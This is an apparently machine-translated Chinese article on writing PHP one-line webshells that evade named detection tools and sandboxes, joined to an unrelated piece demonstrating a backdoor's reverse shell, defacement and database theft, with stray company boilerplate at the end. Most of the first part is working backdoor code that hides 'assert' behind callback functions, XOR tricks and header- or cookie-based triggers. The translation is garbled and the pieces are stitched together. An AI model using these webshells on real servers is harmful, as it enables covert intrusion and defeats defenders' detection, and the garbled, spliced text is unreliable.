附书:《C#灰围巾:设计安全测试工具》
活动地址:
通常,借助可以执行系统命令和加载代码的功能,或者结合一些常用功能来完成一些中间间谍功能,网站侧门的脚本称为Webshell。
本文主要讲解如何绕过PHP语言的Webshell测量工具和平台,从而避开下表七种主流(基本代表了安全行业PHPWebshell测量的一流水平)专业工具和平台监控PHPWebshell、结构 一个零提示、无警告、无法测量的一句话木马侧门。
1.网站安全狗网马查杀
2、D-Shield Web扫查和查杀
3 确信WebShellKillerTool
4BugScaner 杀掉 webshell
5 Hippo专业版杀掉Webshell
6OpenRASPWEBDIR+检查引擎
7 深度学习模型实测PHPWebshell
研究期间进行了大量的测试。 由于篇幅和文章疗效问题,在不影响阅读体验的情况下省略了部分测试过程和结果。
0x01:Webshell侧门
目前我主要将纯php代码实现的Webshell侧门(以下统称“木马”)分为以下几类:
单一/少功能木马
一个webshell,可以完成写文件、列出目录、查看文件、执行一些系统命令等少量功能。
逻辑木马
借助系统逻辑漏洞或特殊触发条件,绕过访问控制或执行Webshell的特殊功能。
一字特洛伊木马
一个Webshell,可以在目标服务器上执行php代码并与一些客户端(例如Machete、Cknife)进行交互。
多功能木马
一个Webshell(马来西亚),根据PHP句型编译出更多代码并在服务器上执行,完成大量间谍功能。
其中,一句话木马的原理如右图所示:
客户端使用特殊的参数名称(密码)将PHP代码发送到放置在服务器上的一句话木马文件;
一句话木马脚本在服务器上执行发送的PHP代码,然后将执行结果发送回客户端,客户端解析结果并显示给操作人员。
0x02:杀戮现状研究
根据0x01的一句话木马原理,我们知道客户端以字符串形式发送的PHP代码必须在服务器上执行。
该脚本需要将字符串(或文件流)作为 PHP 代码执行。 目前主要使用以下功能:
eval:PHP4、PHP5、PHP7+都可用,接受一个参数,将字符串作为PHP代码执行
assert:PHP4、PHP5、PHP7.2及以下均可,通常接受一个参数,php5.4.8版本之后可以接受两个参数
正则匹配类:preg_replace/mb_ereg_replace/preg_filter等
文件包含类:include/include_once/require/require_once/file_get_contents 等`
为了更好地说明问题,本文暂时将上表中能够以代码形式执行字符串的函数命名为“函数机”。
不幸的是,即使功能机直接出现,虽然没有进行恶意操作,但有些杀毒软件也会产生警告,无法满足我们的要求。
例如,使用D-Shield检查以下脚本:
之后,你需要一种方法将功能机隐藏在里面。 并且随着攻防对抗的升级,传统的字符串分割、变形、基数转换、计算转换等方式逃避Webshell检测查杀的功效已经大打折扣。
因此php木马,经过检查和比较,本文选择通过可携带参数的PHP反弹函数创建侧门的技术,从而实现绕过检查软件的单字木马侧门。
我拿出之前公开的一个反弹函数侧门函数“register_shutdown_function”进行测试,发现D-shield和Sangcond工具并没有检测到“register_shutdown_function”加“assert”的变种,安全狗还是注意到了。
<?php
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
register_shutdown_function($ch[1].$ch[3].$ch[4], $_REQUEST[$password]);
?>
因此,有理由推断存在恶意函数库,但网上公开的任何可以作为侧门的反弹函数都可能在其中,并且大概率会被测。
经过收集,我发现网上已经公开的50多个可以作为侧门的反弹函数和类中,部分函数仍然可以用来绕过Webshell杀毒软件。
0x03:找到可以用作侧门的反弹功能
进入PHP官方网站:
查阅函数指南,找到可以用作侧门的 PHP 反弹函数。 根据实践经验,借助以下五个关键字,可以提高查找具有侧门潜力的PHP反弹函数的效率:
关键字1:可调用
关键字2:混合$选项
关键词三:处理程序
关键词四:回调
关键词五:调用
另外,PHP 扩展中有一些合适的反弹函数,但它们的通用性可能不是很强,因此本文将不讨论它们。
0x04:绕过遗留检查
首先使用公开的 array_udiff_assoc() 函数构造一个打包句子。
函数定义:
array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )
根据定义,可以构造代码:
array_udiff_assoc(array("phpinfo();"), array(1), "assert");
继续构造一个适合客户端连接的一句话木马:
<?php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>
浏览器访问
();
cknife 添加目标密码:LandGrey,即可成功连接。
用查杀工具测:只检查故意放置的eval语句。
Bugscaner在线查杀,通过
使用即将推出的Hippo版本进行在线扫杀,通过
至此,我们已经绕过了SafeDog、D-Shield、Convinced客户端Webshell查杀,以及bugscanner和Hippo即将上线的在线查杀。
可以发现,只需找到网上不“频繁出现”或“从不出现”的反弹函数,稍作修改即可绕过传统技术的测量。
另一个打包“array_intersect_ukey”反调函数的例子:
<?php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
?>
0x05:突破OpenRASPWebShell沙箱检查
然后使用OpenRASP团队的WEBDIR+在线查杀平台,发现是侧门
经过反复测试和观察,OpenRASP团队的Webshell检查采用了动态检测技术。 原则上,它应该将脚本放置在安全沙箱中执行,分析脚本的行为,并尝试触发脚本的侧门动作。 无论混淆脚本多么强大,无论函数多么巧妙,当你尝试执行它时,它基本上都会被衡量。
一开始我发现使用PHP脚本加密技术可以有效绕过OpenRASP团队的WEBDIR+Webshell检查服务。 但如果加密动作过大,D-Shield或Webshell杀毒软件会发出警告。 除了无法做到零警告、无提示之外,人眼一眼就能发现问题,因此放弃了加密脚本的路径。
之后,我陷入了一段时间的深度思考。 这里有一个基于打包反弹功能的技术,利用信息不对称来绕过OpenRASPWEBDIR+平台的检查:
1.重命名前后使用不同的脚本名称
经过多次测量php木马,发现WEBDIR+根据文件哈希值对上传的文件进行了重命名
如图所示,推测平台首先对上传脚本进行了重命名,然后尝试在沙箱中执行检查Webshell。 这样就可以利用重命名前后一句话脚本文件名的差异来完成绕过。 绕过测量的核心木马代码示例如下:
<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
脚本名称必须是“***s.php”的名称子类型,即最后一个字符必须是“s”,然后将“sclass”的值与hex2bin(“12101f040107”)按位异或得到“assert”,这样在反弹函数的帮助下,PHP代码就被执行了。
上传到WEBDIR+系统后,该脚本被重命名,“试运行时木马的行为自然难以重现”,从而绕过了实测。 这些方法的一个显着要求是我们无法准确预测或控制脚本名称的最后一个字符。
如果写成通用脚本,则根据文件名最后一个字符,手动选择字符串进行异或得到“assert”,代码示例如下:
<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$trick = array(
"0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59",
"9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09",
"i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10",
"r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b",
"A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28",
"J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33",
"S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b",
);
$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!";
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
如右图所示,会被检查并杀死:
将脚本命名为scanner.php,将脚本最后一个字符硬编码为“r”,就不会被平台监控,这证明了我们原来的观点以及对平台监控原理的一些猜想:
<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?
2.利用测量平台信息匮乏的情况
那么推测:当脚本在沙箱中运行时,如果能够让脚本正常执行的关键信息,平台将很难检测并查杀Webshell; 连接后,我们可以通过关键信息正常使用一字木马侧门,从而绕过查杀。
比如借助下面这句话,Cknife在请求时携带请求头Accept:r,并输入“LandGrey”作为密码,一句话就成功连接木马:
<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>
3、其他信息差异
在针对非常具体的目标进行测试时,可以利用目标的特殊信息构造信息差异来实现Webshell绕过。
例如,目标IP地址、域名、特殊cookie、Session数组和值的唯一性、$_SERVER变量中可以控制的值,甚至主机web的根目录和操作系统等一些差异服务还有很大的发挥空间。
0x06:绕过深度学习技术的测量
使用0x05中的脚本“1.重命名前后使用不同的脚本名称”进行测试时,被深度学习模型技术检查Webshell检测并查杀。
并且基于加壳的反弹功能,借助0x05给出的一句话“2.利用测量平台缺乏信息”,依然可以突破webshell.cdxy.me平台的Webshell检查:
为了防止发生意外,请更改包装功能并重新测试。 请求时,将Cookie值设置为Cookie:set-domain-name=ass;,下面的示例脚本代码也可以绕过本平台的查杀,其实上面提到的其他工具和平台也可以绕过。
<?php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>
插曲
测试期间,还测试了Hippo机器学习查杀引擎,发现无法突破。 测试过程中我发现即使是下面这些正常的句子也会被杀掉:
<?php
array(1)
?>
于是上传Wordpress的源代码来测试系统的可用性。 1774份档案,发现1494个疑似侧门。 系统的测试结果不能作为判断标准,因此文中略过平台的测试。
0x07:复活节彩蛋
最后给出了一个可以绕过目前市面上几乎所有Webshell的一句话PHP木马脚本。 请求时,设置Referer header,并在其旁边以“ass****”结尾,例如:
参考者:.
使用Cknife时,注意软件实现有缺陷,会从第二个“:”开始被截断,可以改为:
后门木马又称特洛伊木马。 英文称为“特洛伊木马”。 它的名字取自埃及神话中的特洛伊木马。 它是一种基于远程控制的黑客工具。 它分为两部分,即客户端和服务器端。 。 服务器是木马的主要程序,用于植入受害者的个人电脑或业务系统。 而黑客则通过客户端连接后门木马,进行各种攻击行为。
1.制作一个rsa加密通信的侧门木马
黑客制作的侧门木马通常也会对恶意数据进行加密和编码。 不同的黑客使用的加密代码是不同的。 在我们的实验中,使用了rsa加密和base64编码。 如下所示:
从实验数据看客户端:恶意命令->公钥加密->base64编码->url编码,如下图:
从实验数据看服务端:url解码->base64解码->私钥解密->执行命令,如下图:
2、部署实验信息系统
为了直观地体验侧门木马的危害,我们部署了一套基于Web的后台管理系统。 在Web系统中,后门木马不仅可以直接执行,还可以被Web中间件解析。 例如,在windows服务器上的php环境中,php类型的侧门木马比exe类型的侧门木马效果更好。
Web侧门木马主要有两个特点:一是从用户请求的url包中获取数据;二是从用户请求的url包中获取数据。 二是最后将获取到的数据带入命令执行函数。
我们搭建的环境如下:
假设侧门木马已经通过其他漏洞上传到环境中,路径为/api/v1/file/exception,接受参数e。 因此,黑客可以向该路径发起请求,并将要执行的命令放在参数e之前,如下:
三、侧门木马危害性演示
(1)逆向shell,在服务器上执行任意命令
黑客窃听自己笔记本电脑的1234端口,然后通过后门木马将服务器的bash终端(命令执行终端)连接到黑客笔记本电脑的1234端口。 由于这些方法是服务器发起的与黑客笔记本电脑的连接(由内而外),因此可以绕过大多数外围防火墙:
(2) 篡改页面
黑客通过回调获得的shell任意篡改原来的后台登录页面,如下:
原后台登录页面已被篡改php木马,如下:
(3)通过读取配置信息窃取数据库中的数据
黑客读取Web系统的配置信息并获取数据库的连接密码,如下:
然后读取数据库中的用户信息,如下:
(4)其他危害
除了以上三种最常见的危害外,黑客还可以通过植入勒索软件、挖矿病毒等方式获利,甚至以获取的服务器为跳板,进一步入侵同一网关内的其他内部服务器。
4、加强侧门木马的检测和防护
通过上面的实验,我们看到了侧门木马的危害太大了。 那么如何保护它呢? 以下是一些建议:
1、加强系统本身的安全性,定期自检系统漏洞,减少系统被植入侧门木马的可能性。
2、加强系统内主机的安全检测。 系统植入侧门木马后php木马,可快速检测并查杀。
3、定期举行员工安全意识培训,防止员工误下载侧门木马。
文:张社兴
数据青年·学习贯彻党的二十大精神
明确责任 勇担“数据背包” 盘点党建振兴2022 | 合肥大数据公司年度大事记